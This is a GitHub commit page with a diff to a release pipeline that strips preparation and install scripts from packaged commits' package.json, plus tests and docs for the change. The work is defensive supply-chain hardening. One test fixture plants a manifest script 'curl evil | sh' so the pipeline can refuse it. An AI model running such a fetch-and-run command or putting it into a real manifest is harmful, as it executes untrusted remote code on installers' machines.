Skip to content

Commit 871ef69

Browse files
committed
fix(release): hold every library-bearing packaged commit to the manifest strip, which now covers pacote's preparation scripts
The pre-strip manifest shape was accepted for any packaged commit, so a hand-planted commit carrying lib/pkg/ beside the source's unchanged package.json passed the tree check and a github: install of it would run prepare. Only the bundle-only chain commits predate the strip, so the fallback now applies to commits with no lib/pkg/ entry; the refusal names kept preparation scripts, which a path diff against the source cannot show. The strip itself widens from scripts.prepare to every script npm's git fetcher (pacote) takes as a reason to run npm install --include=dev and a prepare step in a github: dependency's checkout: prepare, prepack, build, and the install hooks. With prepare alone removed the repository's build script still triggered the dev install. The docs place the tags up to v2.0.0 where they are, on release commits on main, not on packaged commits.
1 parent 68813f6 commit 871ef69

4 files changed

Lines changed: 87 additions & 26 deletions

File tree

‎.github/scripts/release-pipeline.ts‎

Lines changed: 25 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
* consumer names points at a packaged commit on the `build` branch (the tags cut before that branch existed point
44
* at main commits from when main still committed the bundle).
55
*
6-
* packaged commit = source tree - .github/workflows - package.json's prepare script + lib/index.js + lib/pkg/, `Source: <sha>` trailer
6+
* packaged commit = source tree - .github/workflows - package.json's preparation scripts + lib/index.js + lib/pkg/, `Source: <sha>` trailer
77
* refs/heads/build root (no parent) -> chain commit -> chain commit ... only ever advances
88
* refs/tags/latest -> the newest source among build's tip, the publishing run's own chain commit, and where latest already points
99
* refs/tags/vX.Y.Z -> the chain commit whose source is the release's merge commit; never moved
@@ -273,19 +273,25 @@ function treePlusBundle(
273273

274274
const MANIFEST = "package.json";
275275

276-
/** sourceSha's package.json without scripts.prepare, written to the object store; null when the source has no such
277-
* script. npm's git fetcher runs prepare (installing devDependencies first) on a `github:` install whenever the
278-
* script exists, and the packaged commit ships the build already. */
276+
/** The scripts npm's git fetcher (pacote) takes as a signal to run `npm install --include=dev` and the prepare
277+
* lifecycle in a `github:` dependency's checkout; the packaged commit ships the build already. */
278+
const PREPARATION_SCRIPTS = ["prepare", "prepack", "build", "preinstall", "install", "postinstall"];
279+
280+
/** sourceSha's package.json without its preparation scripts, written to the object store; null when it has none. */
279281
function strippedManifestBlob(cwd: string, sourceSha: string): string | null {
280282
const text = tryGit(cwd, "show", `${sourceSha}:${MANIFEST}`);
281283
if (text === null) {
282284
return null;
283285
}
284286
const pkg = JSON.parse(text) as { scripts?: Record<string, unknown> };
285-
if (pkg.scripts === undefined || !("prepare" in pkg.scripts)) {
287+
const scripts = pkg.scripts;
288+
const present = PREPARATION_SCRIPTS.filter((name) => scripts !== undefined && name in scripts);
289+
if (scripts === undefined || present.length === 0) {
286290
return null;
287291
}
288-
delete pkg.scripts.prepare;
292+
for (const name of present) {
293+
delete scripts[name];
294+
}
289295
return execFileSync("git", ["hash-object", "-w", "--stdin"], {
290296
cwd,
291297
input: `${JSON.stringify(pkg, null, 2)}\n`,
@@ -317,13 +323,19 @@ function assertPackages(
317323
};
318324
const expected = treePlusBundle(cwd, source, stage);
319325
const actual = git(cwd, "rev-parse", `${packaged}^{tree}`);
320-
// The chain commits minted before the prepare strip carry the source's package.json as is; they stay valid parents
321-
// and latest targets.
322-
if (actual !== expected && actual !== treePlusBundle(cwd, source, stage, "source")) {
326+
// The chain commits minted before the library rode along carry the source's package.json as is and stay valid
327+
// parents and latest targets; a commit that carries lib/pkg/ was minted after the strip and is held to it.
328+
const legacy =
329+
!entries.some(({ path }) => path.startsWith("lib/pkg/")) &&
330+
actual === treePlusBundle(cwd, source, stage, "source");
331+
if (actual !== expected && !legacy) {
323332
// An unchanged workflow file never shows in the diff against the source, so every workflow path still in the tree
324-
// is listed as kept; package.json is listed unless it is exactly the source's minus the prepare script.
333+
// is listed as kept; package.json is listed unless it is exactly the source's minus its preparation scripts.
325334
const stripped = strippedManifestBlob(cwd, source);
326335
const manifestBlob = tryGit(cwd, "rev-parse", `${packaged}:${MANIFEST}`);
336+
// Kept preparation scripts leave package.json identical to the source's, so the diff cannot list it either.
337+
const keptPrepare =
338+
stripped !== null && manifestBlob === tryGit(cwd, "rev-parse", `${source}:${MANIFEST}`);
327339
const changed = git(cwd, "diff", "--no-renames", "--name-only", source, packaged)
328340
.split("\n")
329341
.filter(
@@ -333,13 +345,14 @@ function assertPackages(
333345
!path.startsWith(`${WORKFLOWS_DIR}/`) &&
334346
!(path === MANIFEST && stripped !== null && manifestBlob === stripped),
335347
)
336-
.concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`));
348+
.concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`))
349+
.concat(keptPrepare ? [`${MANIFEST} (preparation scripts kept)`] : []);
337350
const listed =
338351
changed.length === 0
339352
? "none (an entry a path diff cannot list, such as an empty subtree)"
340353
: changed.join(", ");
341354
throw new Error(
342-
`${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s prepare script, and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`,
355+
`${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s preparation scripts, and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`,
343356
);
344357
}
345358
}

‎docs/reference/library.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ npm install @vivswan/github-settings-as-code@next # the newest green main co
1616
npm install github:Vivswan/github-settings-as-code#<packaged sha> # one packaged commit of the build branch
1717
```
1818

19-
`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.412.gb8df084`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, so nothing is built on your side. Older packaged commits, and the tags cut from them (v2.0.0 and earlier), carry the action bundle alone. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at.
19+
`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.412.gb8df084`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, and its `package.json` carries none of the scripts npm's git fetcher takes as a reason to install devDependencies and run a prepare step (`prepare`, `prepack`, `build`, the install hooks), so nothing is built or installed on your side. Packaged commits minted before that carry the action bundle alone, and the tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle, not at packaged commits at all. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at.
2020

2121
The package exports three paths: the entry (`.`), the committed settings.yml JSON Schema (`./settings.schema.json`), and its own manifest (`./package.json`).
2222

‎docs/upgrading/README.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ One page per major version. A major is the only release that can change what an
1414
| `@vX.Y.Z` | Never | Byte-stable behavior; upgrade deliberately |
1515
| A commit SHA | Never | The same, for repositories that pin actions by digest |
1616

17-
Every version tag points at a packaged commit carrying the built action; tags cut after the library joined the packaged branch also carry the library build (`lib/pkg/`, what the npm package of the same version ships), and v2.0.0 and earlier carry the action bundle alone. Its parent is the audited release commit on `main`, and a ruleset freezes the tag. Only the latest release is supported; fixes are not backported.
17+
Every version tag cut since the `build` branch exists points at a packaged commit on it carrying the built action, and those cut since the library joined it also carry the library build (`lib/pkg/`, what the npm package of the same version ships); the packaged commit records its source, the audited release commit on `main`, in a trailer, and a ruleset freezes the tag. The tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle. Only the latest release is supported; fixes are not backported.
1818

1919
## The guides
2020

‎test/scripts/release-pipeline.test.ts‎

Lines changed: 60 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -154,22 +154,37 @@ function stageBuild(cwd: string): void {
154154
git(cwd, "add", "-f", "--", "lib/index.js", "lib/pkg");
155155
}
156156

157-
/** The fixture's package.json as the real one is shaped: a prepare script beside another script. */
157+
/** The fixture's package.json as the real one is shaped: preparation scripts (prepare, build) beside one that is not. */
158158
function manifestJson(version: string, scripts: Record<string, string> = FIXTURE_SCRIPTS): string {
159159
return `${JSON.stringify({ name: "@scope/pkg", version, scripts }, null, 2)}\n`;
160160
}
161-
const FIXTURE_SCRIPTS = { prepare: "lefthook install || true", build: "bun run build:lib" };
162-
163-
/** What a chain commit's package.json looks like: the pipeline strips the prepare script when it mints one. */
161+
const FIXTURE_SCRIPTS = {
162+
prepare: "lefthook install || true",
163+
build: "bun run build:lib",
164+
test: "bun test",
165+
};
166+
/** FIXTURE_SCRIPTS after the pipeline's strip: the preparation scripts gone, the rest kept. */
167+
const STRIPPED_SCRIPTS = { test: "bun test" };
168+
169+
/** What a chain commit's package.json looks like: the pipeline strips the preparation scripts when it mints one. */
164170
function stripPrepare(cwd: string): void {
165171
const pkg = JSON.parse(readFileSync(join(cwd, "package.json"), "utf8")) as {
166172
scripts?: Record<string, string>;
167173
};
168174
delete pkg.scripts?.prepare;
175+
delete pkg.scripts?.build;
169176
write(cwd, "package.json", `${JSON.stringify(pkg, null, 2)}\n`);
170177
git(cwd, "add", "package.json");
171178
}
172179

180+
/** Whether planted files include the library build, which only commits minted after the prepare strip carry; a
181+
* planted package.json says what the manifest is instead. */
182+
function carriesLibrary(files: Record<string, unknown>): boolean {
183+
return (
184+
Object.keys(files).some((file) => file.startsWith("lib/pkg/")) && !("package.json" in files)
185+
);
186+
}
187+
173188
/** What every packaged tree lacks, so a planted chain commit deviates from the pipeline's only where the test means it to. */
174189
function stripWorkflows(cwd: string): void {
175190
git(cwd, "rm", "-r", "-q", "-f", "--cached", "--ignore-unmatch", "--", ".github/workflows");
@@ -731,6 +746,9 @@ describe("packageRelease", () => {
731746
write(planter, file, content);
732747
git(planter, "add", "-f", file);
733748
}
749+
if (carriesLibrary(files)) {
750+
stripPrepare(planter);
751+
}
734752
git(planter, "commit", "--quiet", "--allow-empty", ...message.flatMap((m) => ["-m", m]));
735753
for (const tag of tags) {
736754
git(planter, "tag", tag);
@@ -768,7 +786,7 @@ describe("packageRelease", () => {
768786
"src/marker.ts": "export const marker = 666;\n",
769787
});
770788
expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow(
771-
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/,
789+
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/,
772790
);
773791
});
774792

@@ -784,7 +802,7 @@ describe("packageRelease", () => {
784802
"kept",
785803
);
786804
expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow(
787-
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/,
805+
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/,
788806
);
789807
});
790808

@@ -1051,6 +1069,7 @@ describe("retagMajor", () => {
10511069
git(planter, "config", "user.email", "planter@example.invalid");
10521070
writeBuild(planter, "planted-wrong-bytes\n");
10531071
stageBuild(planter);
1072+
stripPrepare(planter);
10541073
git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.mergeSha}`);
10551074
git(planter, "tag", "v2.1.0");
10561075
git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0");
@@ -1190,6 +1209,7 @@ describe("verifyPublishedRefs", () => {
11901209
stripWorkflows(planter);
11911210
writeBuild(planter, "packaged-bundle-bytes-1\n");
11921211
stageBuild(planter);
1212+
stripPrepare(planter);
11931213
write(planter, "action.yml", "name: tampered\n");
11941214
git(planter, "add", "-f", "action.yml");
11951215
const planted = git(
@@ -1215,7 +1235,7 @@ describe("verifyPublishedRefs", () => {
12151235
expect(() =>
12161236
verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }),
12171237
).toThrow(
1218-
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*action\.yml/,
1238+
/is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*action\.yml/,
12191239
);
12201240
});
12211241

@@ -1766,6 +1786,7 @@ describe("advanceBuild", () => {
17661786
stripWorkflows(planter);
17671787
writeBuild(planter, "planted\n");
17681788
stageBuild(planter);
1789+
stripPrepare(planter);
17691790
for (const [file, content] of Object.entries(files)) {
17701791
write(planter, file, content);
17711792
git(planter, "add", "-f", file);
@@ -1936,6 +1957,9 @@ describe("advanceBuild", () => {
19361957
}
19371958
git(planter, "add", "-f", file);
19381959
}
1960+
if (carriesLibrary(files)) {
1961+
stripPrepare(planter);
1962+
}
19391963
const paragraphs = message.flatMap((paragraph) => ["-m", paragraph]);
19401964
git(planter, "commit", "--quiet", "--allow-empty", ...paragraphs);
19411965
git(planter, "push", "--quiet", "--force", "origin", "HEAD:refs/heads/build");
@@ -1981,7 +2005,7 @@ describe("advanceBuild", () => {
19812005
const expected = rebuiltTree(fx, `rebuilt-${planted.slice(0, 8)}`, source);
19822006
return new Error(
19832007
`refs/heads/build ${where} ${planted}, which names ${source} as its source but is not ` +
1984-
`${source} plus lib/index.js and lib/pkg/, minus package.json's prepare script, and the removal of .github/workflows/ alone: its tree is ` +
2008+
`${source} plus lib/index.js and lib/pkg/, minus package.json's preparation scripts, and the removal of .github/workflows/ alone: its tree is ` +
19852009
`${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ` +
19862010
`${source}: ${changed}); ${byHand}`,
19872011
);
@@ -1994,6 +2018,7 @@ describe("advanceBuild", () => {
19942018
stripWorkflows(planter);
19952019
writeBuild(planter, "planted\n");
19962020
stageBuild(planter);
2021+
stripPrepare(planter);
19972022
const emptyTree = execFileSync("git", ["hash-object", "-w", "-t", "tree", "--stdin"], {
19982023
cwd: planter,
19992024
input: "",
@@ -2159,7 +2184,7 @@ describe("advanceBuild", () => {
21592184
},
21602185
],
21612186
[
2162-
"naming this source with a package.json changed beyond its prepare script",
2187+
"naming this source with a package.json changed beyond its preparation scripts",
21632188
(fx) => {
21642189
const planted = plantBuild(
21652190
fx,
@@ -2168,12 +2193,35 @@ describe("advanceBuild", () => {
21682193
["build: by hand", `Source: ${fx.mergeSha}`],
21692194
{
21702195
...builtFiles("planted\n"),
2171-
"package.json": manifestJson("2.1.0", { build: "curl evil | sh" }),
2196+
"package.json": manifestJson("2.1.0", { test: "curl evil | sh" }),
21722197
},
21732198
);
21742199
return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "package.json") };
21752200
},
21762201
],
2202+
[
2203+
"carrying the library build beside a package.json that kept its preparation scripts",
2204+
(fx) => {
2205+
// Only bundle-only commits predate the strip; a commit with lib/pkg/ was minted after it and is held to it.
2206+
const planted = plantBuild(
2207+
fx,
2208+
"build-prepare-kept",
2209+
fx.mergeSha,
2210+
["build: by hand", `Source: ${fx.mergeSha}`],
2211+
{ ...builtFiles("planted\n"), "package.json": manifestJson("2.1.0") },
2212+
);
2213+
return {
2214+
planted,
2215+
error: notAPackage(
2216+
fx,
2217+
"holds",
2218+
planted,
2219+
fx.mergeSha,
2220+
"package.json (preparation scripts kept)",
2221+
),
2222+
};
2223+
},
2224+
],
21772225
[
21782226
"naming an older main commit and carrying a file beyond the build outputs",
21792227
(fx) => {
@@ -2198,11 +2246,11 @@ describe("advanceBuild", () => {
21982246
expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore);
21992247
});
22002248

2201-
test("a chain commit's package.json is the source's without its prepare script, and a rerun holds it there", () => {
2249+
test("a chain commit's package.json is the source's without its preparation scripts, and a rerun holds it there", () => {
22022250
const fx = seedFixture();
22032251
const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha;
22042252
expect(git(fx.origin, "show", `${tip}:package.json`)).toBe(
2205-
manifestJson("2.1.0", { build: "bun run build:lib" }).trimEnd(),
2253+
manifestJson("2.1.0", STRIPPED_SCRIPTS).trimEnd(),
22062254
);
22072255
expect(git(fx.origin, "show", `${fx.mergeSha}:package.json`)).toBe(
22082256
manifestJson("2.1.0").trimEnd(),

0 commit comments

Comments
 (0)